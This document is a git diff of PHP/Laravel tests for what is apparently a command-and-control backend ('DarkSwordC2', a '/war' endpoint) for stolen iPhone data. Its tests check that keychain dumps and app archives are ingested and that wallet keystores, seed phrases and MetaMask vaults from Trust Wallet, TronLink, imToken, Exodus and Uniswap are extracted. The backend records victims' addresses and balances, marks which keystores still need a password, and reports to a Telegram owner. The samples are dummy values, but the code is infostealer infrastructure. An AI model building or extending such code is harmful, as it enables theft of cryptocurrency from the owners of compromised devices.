feat: app
This commit is contained in:
@@ -0,0 +1,507 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AppUploadIngester;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class AppUploadIngestTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
private const TRON = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
||||
|
||||
private const ETH = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
config([
|
||||
'coruna.telegram.bot_token' => '',
|
||||
'coruna.telegram.owner_chat_id' => '',
|
||||
]);
|
||||
|
||||
$tokenview = Mockery::mock(TokenviewMonitorService::class);
|
||||
$tokenview->shouldReceive('syncMonitor')->andReturn(false);
|
||||
$tokenview->shouldReceive('shouldMonitor')->andReturn(false);
|
||||
$this->app->instance(TokenviewMonitorService::class, $tokenview);
|
||||
|
||||
$balances = Mockery::mock(\App\Services\WalletBalanceService::class);
|
||||
$balances->shouldReceive('refresh')->andReturn(false);
|
||||
$balances->shouldReceive('ensureBscForEthAddress')->andReturn(null);
|
||||
$this->app->instance(\App\Services\WalletBalanceService::class, $balances);
|
||||
|
||||
Http::fake();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallet_tar_stores_utc_and_ingests_address(): void
|
||||
{
|
||||
$device = $this->makeDevice();
|
||||
$utc = [
|
||||
'version' => 3,
|
||||
'id' => 'trust-utc',
|
||||
'crypto' => [
|
||||
'ciphertext' => 'aa',
|
||||
'mac' => 'bb',
|
||||
'cipher' => 'aes-128-ctr',
|
||||
],
|
||||
'address' => substr(self::ETH, 2),
|
||||
];
|
||||
$tar = $this->makeTar([
|
||||
'Documents/keystore/UTC--demo' => json_encode($utc),
|
||||
]);
|
||||
|
||||
app(AppUploadIngester::class)->ingestArtifact(
|
||||
$device,
|
||||
$tar,
|
||||
'com.wallet.crypto.trustapp.tar',
|
||||
);
|
||||
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->exists()
|
||||
);
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()
|
||||
->where('device_id', $device->id)
|
||||
->get()
|
||||
->contains(fn (WalletKeystore $row) => $row->kind() === 'web3.keystore')
|
||||
);
|
||||
$this->assertFalse(
|
||||
WalletKeystore::query()
|
||||
->where('device_id', $device->id)
|
||||
->get()
|
||||
->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox')
|
||||
);
|
||||
$this->assertNull(
|
||||
WalletKeystore::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('source', 'Trust Wallet')
|
||||
->value('needs_password')
|
||||
);
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()
|
||||
->where('device_id', $device->id)
|
||||
->get()
|
||||
->every(fn (WalletKeystore $row) => (int) $row->chain === Device::CHAIN_APP)
|
||||
);
|
||||
|
||||
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('Trust Wallet', $addr->source);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function trust_hd_keeps_eth_btc_tron_bsc_sol_arb_and_skips_other_coins(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-trust-hd');
|
||||
$etc = '0x91E1DF7780C061fBE4d0fc83F26F3B85bfb04Bc6';
|
||||
$waves = '3P8QjdvhWgcVbYQEnqmDnJsx4QiqJXAtqci';
|
||||
$dot = '13s5C4kEQevkzaKrRdLbABsxTx8pLnT7tXeZm3c6QvrAAvwK';
|
||||
$btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7';
|
||||
$utc = [
|
||||
'version' => 3,
|
||||
'type' => 'mnemonic',
|
||||
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
||||
'activeAccounts' => [
|
||||
['coin' => 0, 'address' => $btc, 'derivationPath' => "m/84'/0'/0'/0/0"],
|
||||
['coin' => 60, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
||||
['coin' => 61, 'address' => $etc, 'derivationPath' => "m/44'/61'/0'/0/0"],
|
||||
['coin' => 195, 'address' => self::TRON, 'derivationPath' => "m/44'/195'/0'/0/0"],
|
||||
['coin' => 5741564, 'address' => $waves, 'derivationPath' => "m/44'/5741564'/0'/0'/0'"],
|
||||
['coin' => 354, 'address' => $dot, 'derivationPath' => "m/44'/354'/0'/0'/0'"],
|
||||
['coin' => 8453, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
||||
['coin' => 20000714, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
||||
['coin' => 501, 'address' => 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq', 'derivationPath' => "m/44'/501'/0'"],
|
||||
['coin' => 10042221, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
|
||||
],
|
||||
];
|
||||
$tar = $this->makeTar([
|
||||
'Documents/keystore/UTC--hd' => json_encode($utc),
|
||||
]);
|
||||
|
||||
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.sixdays.trust.tar');
|
||||
|
||||
$addrs = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->orderBy('id')
|
||||
->get(['address', 'chain_type']);
|
||||
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ETHEREUM'));
|
||||
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
|
||||
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON'));
|
||||
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'BSC'));
|
||||
$this->assertTrue($addrs->contains(fn ($a) => $a->address === 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq' && $a->chain_type === 'SOLANA'));
|
||||
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ARBITRUM'));
|
||||
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $etc));
|
||||
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $waves));
|
||||
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $dot));
|
||||
$this->assertSame(1, $addrs->where('address', self::ETH)->where('chain_type', 'ETHEREUM')->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function tronlink_sqlite_writes_address_and_balance_and_flags_password(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-tronlink');
|
||||
$sqlite = $this->makeTronLinkSqlite();
|
||||
$utc = [
|
||||
'version' => 3,
|
||||
'crypto' => ['ciphertext' => 'cc', 'mac' => 'dd'],
|
||||
'address' => self::TRON,
|
||||
];
|
||||
$tar = $this->makeTar([
|
||||
'Documents/tron.sqlite' => $sqlite,
|
||||
'Documents/keystore/UTC--tron' => json_encode($utc),
|
||||
]);
|
||||
|
||||
app(AppUploadIngester::class)->ingestArtifact(
|
||||
$device,
|
||||
$tar,
|
||||
'com.tronlink.hdwallet.tar',
|
||||
);
|
||||
|
||||
$flagged = WalletKeystore::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('needs_password', 1)
|
||||
->count();
|
||||
$this->assertGreaterThan(0, $flagged);
|
||||
$this->assertFalse(
|
||||
WalletKeystore::query()
|
||||
->where('device_id', $device->id)
|
||||
->get()
|
||||
->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox')
|
||||
);
|
||||
$this->assertSame(
|
||||
0,
|
||||
WalletKeystore::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('needs_password', 0)
|
||||
->count()
|
||||
);
|
||||
|
||||
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::TRON)->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('TronLink', $addr->source);
|
||||
$this->assertSame(0.0, (float) $addr->trx);
|
||||
$this->assertEqualsWithDelta(1.5, (float) $addr->usdt, 0.0001);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function imtoken_keeps_account_eoa_and_skips_token_contracts(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-imtoken-addr');
|
||||
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
||||
$utcEth = 'c3f025c2b480ade8f67c8ae9bec3e17f62c26fdf';
|
||||
$tar = $this->makeTar([
|
||||
'Documents/walletsV2/wid.json' => json_encode([
|
||||
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
||||
'address' => $utcEth,
|
||||
'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'],
|
||||
]),
|
||||
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
|
||||
'AccountModel' => [
|
||||
'itemsById' => [
|
||||
'acc1' => [
|
||||
'type' => 'EOA',
|
||||
'address' => self::TRON,
|
||||
'path' => "m/44'/195'/0'/0/0",
|
||||
],
|
||||
],
|
||||
],
|
||||
'AssetToken' => [
|
||||
'itemsById' => [
|
||||
'tok1' => [
|
||||
'chainType' => 'TRON',
|
||||
'address' => $usdt,
|
||||
'symbol' => 'USDT',
|
||||
'decimal' => 6,
|
||||
'tokenType' => 'TRC20',
|
||||
'accountAddress' => self::TRON,
|
||||
],
|
||||
],
|
||||
],
|
||||
]),
|
||||
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([
|
||||
'wethContractAddress' => $weth,
|
||||
'address' => $weth,
|
||||
]),
|
||||
]);
|
||||
|
||||
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'im.token.app.tar');
|
||||
|
||||
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all();
|
||||
$this->assertSame([self::TRON], $addrs);
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists()
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function global_wallet_skips_helper_contract_addresses(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-gw-addr');
|
||||
$batch = 'TDe5aJyJmtJdon9nNRbX1itnftt6LQLUwU';
|
||||
$balance = 'TWSaaayu3N1z5GKeWYyTkUG1p9tw3tdTHw';
|
||||
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
||||
$tar = $this->makeTar([
|
||||
'Documents/cache/MarketFilterParamsModel.Type.json' => json_encode([
|
||||
'blockchainList' => [[
|
||||
'name' => 'tron',
|
||||
'metadata' => [
|
||||
'batchTxContract' => $batch,
|
||||
'balanceContract' => $balance,
|
||||
],
|
||||
]],
|
||||
]),
|
||||
'Documents/cache/default.show.tokens' => json_encode([
|
||||
'address' => $weth,
|
||||
'symbol' => 'WETH',
|
||||
]),
|
||||
]);
|
||||
|
||||
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar');
|
||||
|
||||
$this->assertSame(
|
||||
0,
|
||||
WalletAddress::query()->where('device_id', $device->id)->count()
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function keychain_plaintext_mnemonic_is_recovered_on_decrypt(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-uniswap');
|
||||
$xml = '<?xml version="1.0"?><keychain>'
|
||||
.'<item>'
|
||||
.'<acct>com.uniswap.mobile.mnemonic.'.self::ETH.'</acct>'
|
||||
.'<svce>Uniswap</svce>'
|
||||
.'<agrp>TEAM.com.uniswap.mobile</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode(self::MNEMONIC).'</v_Data>'
|
||||
.'</item>'
|
||||
.'</keychain>';
|
||||
|
||||
$ingester = app(AppUploadIngester::class);
|
||||
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
|
||||
$ingester->dispatchDecrypt($device);
|
||||
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->exists()
|
||||
);
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($memo);
|
||||
$this->assertSame('Uniswap', $memo->source);
|
||||
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
||||
|
||||
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame($memo->id, $addr->mnemonic_id);
|
||||
$this->assertTrue(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.uniswap.mobile')->exists()
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function keychain_exodus_json_mnemonic_is_sourced_exodus(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-exodus');
|
||||
$payload = json_encode([
|
||||
'mnemonic' => self::MNEMONIC,
|
||||
'seed' => 'not-a-mnemonic',
|
||||
'dateCreated' => 1,
|
||||
], JSON_UNESCAPED_SLASHES);
|
||||
$xml = '<?xml version="1.0"?><keychain>'
|
||||
.'<item>'
|
||||
.'<acct>unused</acct>'
|
||||
.'<svce></svce>'
|
||||
.'<agrp>TEAM.exodus-movement.exodus</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode((string) $payload).'</v_Data>'
|
||||
.'</item>'
|
||||
.'</keychain>';
|
||||
|
||||
$ingester = app(AppUploadIngester::class);
|
||||
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
|
||||
$ingester->dispatchDecrypt($device);
|
||||
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($memo);
|
||||
$this->assertSame('Exodus', $memo->source);
|
||||
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function keychain_metamask_vault_is_a_password_row(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-mm-vault');
|
||||
$vault = $this->makeMetamaskVault(self::MNEMONIC, 'woshini@88');
|
||||
unset($vault['kind']);
|
||||
$xml = '<?xml version="1.0"?><keychain>'
|
||||
.'<item>'
|
||||
.'<acct>VAULT_BACKUP</acct>'
|
||||
.'<svce></svce>'
|
||||
.'<agrp>TEAM.io.metamask.MetaMask</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode((string) json_encode($vault)).'</v_Data>'
|
||||
.'</item>'
|
||||
.'<item>'
|
||||
.'<acct>deviceUID</acct>'
|
||||
.'<svce>deviceUID</svce>'
|
||||
.'<agrp>TEAM.io.metamask.MetaMask</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee').'</v_Data>'
|
||||
.'</item>'
|
||||
.'</keychain>';
|
||||
|
||||
app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml');
|
||||
|
||||
$mm = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'MetaMask')->first();
|
||||
$this->assertNotNull($mm);
|
||||
$this->assertSame(1, (int) $mm->needs_password);
|
||||
$this->assertSame('metamask.vault', $mm->kind());
|
||||
$this->assertSame(0, (int) $mm->decrypted);
|
||||
|
||||
$kc = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'app/keychain')->first();
|
||||
$this->assertNotNull($kc);
|
||||
$items = $kc->raw_json['wallets']['MetaMask']['items'] ?? [];
|
||||
foreach ($items as $item) {
|
||||
$this->assertNotSame('VAULT_BACKUP', $item['account'] ?? '');
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function keychain_skips_apple_and_wildcard_installed_apps(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-app-noise');
|
||||
$xml = '<?xml version="1.0"?><keychain>'
|
||||
.'<item><acct>a</acct><svce>s</svce><agrp>TEAM.apple.Spotlight</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode('x').'</v_Data></item>'
|
||||
.'<item><acct>b</acct><svce>s</svce><agrp>TEAM.apple.TextInput</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode('y').'</v_Data></item>'
|
||||
.'<item><acct>c</acct><svce>s</svce><agrp>TEAM.*</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode('z').'</v_Data></item>'
|
||||
.'<item><acct>d</acct><svce>s</svce><agrp>apple.security.octagon</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode('w').'</v_Data></item>'
|
||||
.'<item><acct>e</acct><svce>Bitpie</svce><agrp>TEAM.com.bitpie.wallet</agrp>'
|
||||
.'<v_Data bin="1">'.base64_encode('ok').'</v_Data></item>'
|
||||
.'</keychain>';
|
||||
|
||||
app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml');
|
||||
|
||||
$this->assertFalse(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'like', 'apple.%')->exists()
|
||||
);
|
||||
$this->assertFalse(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists()
|
||||
);
|
||||
$this->assertFalse(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'Spotlight')->exists()
|
||||
);
|
||||
$this->assertTrue(
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.bitpie.wallet')->exists()
|
||||
);
|
||||
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
|
||||
}
|
||||
|
||||
private function makeDevice(string $id = 'dev-app-1'): Device
|
||||
{
|
||||
return Device::query()->create([
|
||||
'device_id' => $id,
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
'chain' => Device::CHAIN_APP,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function makeMetamaskVault(string $phrase, string $password): array
|
||||
{
|
||||
$inner = json_encode([[
|
||||
'type' => 'HD Key Tree',
|
||||
'data' => [
|
||||
'mnemonic' => array_map('ord', str_split($phrase)),
|
||||
'numberOfAccounts' => 1,
|
||||
'hdPath' => "m/44'/60'/0'/0",
|
||||
],
|
||||
]], JSON_UNESCAPED_SLASHES);
|
||||
$saltB64 = base64_encode(random_bytes(32));
|
||||
$iv = random_bytes(16);
|
||||
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
|
||||
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||
|
||||
return [
|
||||
'kind' => 'metamask.vault',
|
||||
'cipher' => base64_encode((string) $cipher),
|
||||
'iv' => bin2hex($iv),
|
||||
'salt' => $saltB64,
|
||||
'lib' => 'quick-crypto',
|
||||
'keyMetadata' => [
|
||||
'algorithm' => 'PBKDF2',
|
||||
'params' => ['iterations' => 5000],
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $files
|
||||
*/
|
||||
private function makeTar(array $files): string
|
||||
{
|
||||
$dir = sys_get_temp_dir().'/app_upload_tar_'.bin2hex(random_bytes(4));
|
||||
mkdir($dir, 0777, true);
|
||||
$tarPath = $dir.'.tar';
|
||||
try {
|
||||
foreach ($files as $rel => $body) {
|
||||
$full = $dir.'/'.$rel;
|
||||
$parent = dirname($full);
|
||||
if (! is_dir($parent)) {
|
||||
mkdir($parent, 0777, true);
|
||||
}
|
||||
file_put_contents($full, $body);
|
||||
}
|
||||
$phar = new \PharData($tarPath);
|
||||
$phar->buildFromDirectory($dir);
|
||||
|
||||
return (string) file_get_contents($tarPath);
|
||||
} finally {
|
||||
@unlink($tarPath);
|
||||
$it = new \RecursiveIteratorIterator(
|
||||
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS),
|
||||
\RecursiveIteratorIterator::CHILD_FIRST
|
||||
);
|
||||
foreach ($it as $f) {
|
||||
$f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname());
|
||||
}
|
||||
@rmdir($dir);
|
||||
}
|
||||
}
|
||||
|
||||
private function makeTronLinkSqlite(): string
|
||||
{
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');
|
||||
$pdo = new \PDO('sqlite:'.$tmp);
|
||||
$pdo->exec('CREATE TABLE Wallet (id INTEGER PRIMARY KEY, address TEXT)');
|
||||
$pdo->exec('CREATE TABLE ORM_DBTable_HomeNewAsset (id INTEGER, address TEXT, balance TEXT, shortName TEXT, contractAddress TEXT)');
|
||||
$ins = $pdo->prepare('INSERT INTO Wallet (address) VALUES (?)');
|
||||
$ins->execute([self::TRON]);
|
||||
$asset = $pdo->prepare('INSERT INTO ORM_DBTable_HomeNewAsset (id, address, balance, shortName, contractAddress) VALUES (?,?,?,?,?)');
|
||||
$asset->execute([1, self::TRON, '0', 'TRX', '']);
|
||||
$asset->execute([2, self::TRON, '1.5', 'USDT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t']);
|
||||
$pdo = null;
|
||||
$bytes = (string) file_get_contents($tmp);
|
||||
@unlink($tmp);
|
||||
|
||||
return $bytes;
|
||||
}
|
||||
}
|
||||
@@ -399,7 +399,17 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'errors' => ['aksUnwrap class=10 kr=3758097090'],
|
||||
],
|
||||
'sandbox' => [
|
||||
'imtoken' => ['keystore.json' => '{"version":3}'],
|
||||
'imtoken' => [
|
||||
'walletsV2.json' => json_encode([
|
||||
'version' => 3,
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'ciphertext' => 'aa',
|
||||
'mac' => 'bb',
|
||||
'kdf' => 'pbkdf2',
|
||||
],
|
||||
]),
|
||||
],
|
||||
],
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
@@ -412,6 +422,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$sources = $rows->pluck('source')->all();
|
||||
$this->assertContains('Trust Wallet', $sources);
|
||||
$this->assertContains('imToken', $sources);
|
||||
$this->assertEqualsCanonicalizing(
|
||||
['钥匙串', '标准 Keystore'],
|
||||
$rows->map(fn ($row) => $row->kindLabel())->all()
|
||||
);
|
||||
$this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox'));
|
||||
$this->assertTrue($rows->every(fn ($row) => (int) $row->chain === Device::CHAIN_DARKSWORD));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -442,41 +458,51 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
|
||||
$this->assertSame(2, $rows->count());
|
||||
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
|
||||
$this->assertSame(1, $rows->count());
|
||||
$this->assertSame(['钥匙串'], $rows->map(fn ($row) => $row->kindLabel())->all());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_collapses_existing_duplicate_sandbox_rows(): void
|
||||
public function war_collapses_existing_duplicate_web3_rows(): void
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
$raw = [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
||||
$utc = [
|
||||
'kind' => 'web3.keystore',
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'ciphertext' => 'aa',
|
||||
'mac' => 'bb',
|
||||
'kdf' => 'scrypt',
|
||||
],
|
||||
];
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $raw,
|
||||
'raw_json' => $utc,
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $raw,
|
||||
'raw_json' => $utc,
|
||||
]);
|
||||
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/UTC--demo' => json_encode($utc),
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame('标准 Keystore', WalletKeystore::query()->where('device_id', $device->id)->first()?->kindLabel());
|
||||
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
|
||||
}
|
||||
|
||||
@@ -615,6 +641,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
|
||||
$this->assertGreaterThanOrEqual(1, $rows->count());
|
||||
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
|
||||
$this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox'));
|
||||
$this->assertTrue($rows->contains(fn ($row) => $row->kind() === 'web3.keystore'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -654,14 +682,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
||||
],
|
||||
],
|
||||
],
|
||||
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
|
||||
]);
|
||||
|
||||
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
|
||||
@@ -1593,6 +1614,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->assertNotNull($ks);
|
||||
// No password → not decrypted, but keystore is stored.
|
||||
$this->assertSame(0, (int) $ks->decrypted);
|
||||
$this->assertSame(1, (int) $ks->needs_password);
|
||||
$this->assertSame('标准 Keystore', $ks->kindLabel());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -1682,6 +1705,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
// Mnemonic should be recovered by walkForMnemonics.
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
|
||||
$this->assertSame('Uniswap', $memo->source);
|
||||
$this->assertSame($mnemonic, $memo->mnemonic);
|
||||
|
||||
// Address should be extracted from the account field.
|
||||
|
||||
@@ -18,8 +18,10 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -64,6 +66,7 @@ class DeviceDeleteTest extends TestCase
|
||||
'address' => 'Txxx',
|
||||
'source' => 'imToken',
|
||||
'chain_type' => 'TRX',
|
||||
'monitor' => 1,
|
||||
]);
|
||||
WalletMnemonic::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -135,6 +138,10 @@ class DeviceDeleteTest extends TestCase
|
||||
Storage::disk('local')->put($waPath, '{"userId":"15550001111"}');
|
||||
|
||||
try {
|
||||
$tokenview = Mockery::mock(TokenviewMonitorService::class);
|
||||
$tokenview->shouldReceive('syncMonitor')->never();
|
||||
$this->app->instance(TokenviewMonitorService::class, $tokenview);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->deleteJson(route('admin.devices.destroy', $device))
|
||||
->assertOk()
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
@@ -46,6 +47,38 @@ class DeviceWalletFlagTest extends TestCase
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function applist_skips_apple_prefix_and_wildcard_bundles(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-app-skip-noise']);
|
||||
|
||||
